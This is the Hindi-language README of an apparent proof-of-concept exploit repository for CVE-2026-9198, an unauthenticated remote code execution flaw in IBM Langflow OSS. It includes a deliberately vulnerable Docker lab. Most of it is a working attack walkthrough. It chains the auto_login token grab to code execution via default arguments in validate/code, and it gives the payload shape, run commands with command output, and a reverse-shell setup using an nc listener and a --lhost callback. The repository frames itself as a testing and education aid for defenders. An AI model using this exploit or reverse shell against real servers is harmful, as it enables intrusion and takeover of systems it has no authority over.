
CVE-2026-9198 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो IBM Langflow OSS में एक अनप्रमाणित RCE है, जो auto_login और validate/code एंडपॉइंट्स को चेन करता है। इसमें अधिकृत परीक्षण और शिक्षा के लिए एक कमजोर Docker लैब शामिल है।
CVE-2026-9198 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और एक स्व-निहित Docker लैब, जो IBM Langflow OSS में एक बिना प्रमाणीकरण के रिमोट कोड एक्सेक्यूशन भेद्यता है।
यह एक्सप्लॉइट दो एंडपॉइंट्स को जोड़ता है — auto_login (जो किसी को भी SUPERUSER टोकन
देता है) और validate/code (जो हमलावर-आपूर्ति किया गया Python चलाता है) — ताकि
Langflow सेवा उपयोगकर्ता के रूप में कोड एक्सेक्यूशन प्राप्त किया जा सके, बिना किसी
क्रेडेंशियल की आवश्यकता के।
[!WARNING] केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसे केवल उन सिस्टमों के विरुद्ध चलाएं जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। इस रेपो में Docker लैब जानबूझकर कमजोर है — इसे अपनी मशीन पर रखें और इसे कभी भी इंटरनेट पर उजागर न करें। आप इस कोड का उपयोग कैसे करते हैं, इसके लिए आप जिम्मेदार हैं।
| CVE | CVE-2026-9198 |
| उत्पाद | IBM Langflow OSS |
| प्रभावित | 1.0.0 – 1.10.0 |
| ठीक किया गया | 1.10.1 |
| CVSS 3.1 | 9.8 क्रिटिकल — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — कोड के निर्माण का अनुचित नियंत्रण ('कोड इंजेक्शन') |
| CISA KEV | हाँ — ज्ञात रूप से वास्तविक दुनिया में शोषित |
यह एक्सप्लॉइट एक दो-चरणीय श्रृंखला है जिसे किसी प्रमाणीकरण की आवश्यकता नहीं है:
GET /api/v1/auto_loginLangflow डिफ़ॉल्ट रूप से LANGFLOW_AUTO_LOGIN सक्षम के साथ आता है। जब यह सक्षम होता है,
तो auto_login एंडपॉइंट किसी भी कॉलर को एक लंबे समय तक चलने वाला SUPERUSER JWT
जारी करता है, बिना कोई क्रेडेंशियल मांगे:
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
POST /api/v1/validate/code1.3.0 से इस एंडपॉइंट को प्रमाणीकरण की आवश्यकता होती है (यह CVE-2025-3248 के लिए
फिक्स था) — लेकिन चरण 1 ने हमें अभी एक वैध SUPERUSER टोकन दिया है, इसलिए यह गेट
बेकार है। आंतरिक रूप से एंडपॉइंट validate_code() को कॉल करता है, जो प्राप्त होने
वाली हर फ़ंक्शन परिभाषा को संकलित और चलाता है:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- def को चलाता है
except Exception as e:
errors["function"]["errors"].append(str(e)) # <-- आउटपुट यहाँ वापस लीक होता है
एक def स्टेटमेंट निष्पादित करना इसके डिफ़ॉल्ट तर्क मानों का मूल्यांकन करता है। इसलिए
एक फ़ंक्शन जिसका डिफ़ॉल्ट तर्क exec("...") है, उसके सत्यापित होते ही मनमाना कोड चलाता है —
फ़ंक्शन को कभी भी कॉल नहीं किया जाता है। उठाया गया कोई भी अपवाद पकड़ा जाता है और
प्रतिक्रिया में function.errors के अंतर्गत लौटाया जाता है, जिसका उपयोग एक्सप्लॉइट HTTP पर
कमांड आउटपुट वापस पढ़ने के लिए करता है।
पेलोड आकार (कमांड किसी भी कोटिंग से बचने के लिए base64-लपेटा गया है):
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
pass
.
├── exploit.py # PoC (कमांड एक्सेक्यूशन + रिवर्स शेल)
├── docker-compose.yml # कमजोर लैब: langflow 1.10.0 + postgres
├── requirements.txt # requests
└── README.md
requests (pip install -r requirements.txt)docker compose up -d
Langflow को पहले बूट पर तैयार होने में एक या दो मिनट लगते हैं। जब तक यह जवाब न दे, तब तक प्रतीक्षा करें:
curl -fs http://127.0.0.1:9999/health && echo OK
सेवा जानबूझकर 127.0.0.1:9999 से बंधी है — यह आपके नेटवर्क से पहुंच योग्य नहीं है।
निर्भरता स्थापित करें, फिर एक्सप्लॉइट को लैब की ओर इंगित करें।
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
उदाहरण आउटपुट:
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
कोई भी कमांड काम करता है: --cmd "uname -a && whoami && cat /etc/os-release"।
एक लिसनर शुरू करें:
nc -lvnp 4444
फिर पेलोड दागें। जब लक्ष्य उसी मशीन पर Docker में चलता है, तो कंटेनर आपके होस्ट तक
host.docker.internal (Docker Desktop) पर पहुंचता है; वास्तविक लक्ष्य पर अपना रूटेबल IP
उपयोग करें:
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
आपको अपने लिसनर पर langflow उपयोगकर्ता के रूप में एक इंटरैक्टिव /bin/sh मिलता है।
| फ्लैग | विवरण |
|---|---|
--url | लक्ष्य बेस URL (आवश्यक) |
--cmd | चलाने के लिए कमांड (डिफ़ॉल्ट id) |
--reverse-shell | --cmd चलाने के बजाय रिवर्स शेल वितरित करें |
--lhost / --lport | रिवर्स-शेल कॉलबैक होस्ट और पोर्ट |
--token | आपूर्ति किया गया बियरर टोकन उपयोग करें और auto_login छोड़ें |
--timeout | प्रति-अनुरोध टाइमआउट, सेकंड (डिफ़ॉल्ट 15) |
--insecure | TLS सत्यापन छोड़ें (https लक्ष्यों के लिए) |
LANGFLOW_AUTO_LOGIN=false,
और वास्तविक सुपरयूज़र क्रेडेंशियल सेट करें।validate/code कोड-इंजेक्शन जिस पर यह आधारित है)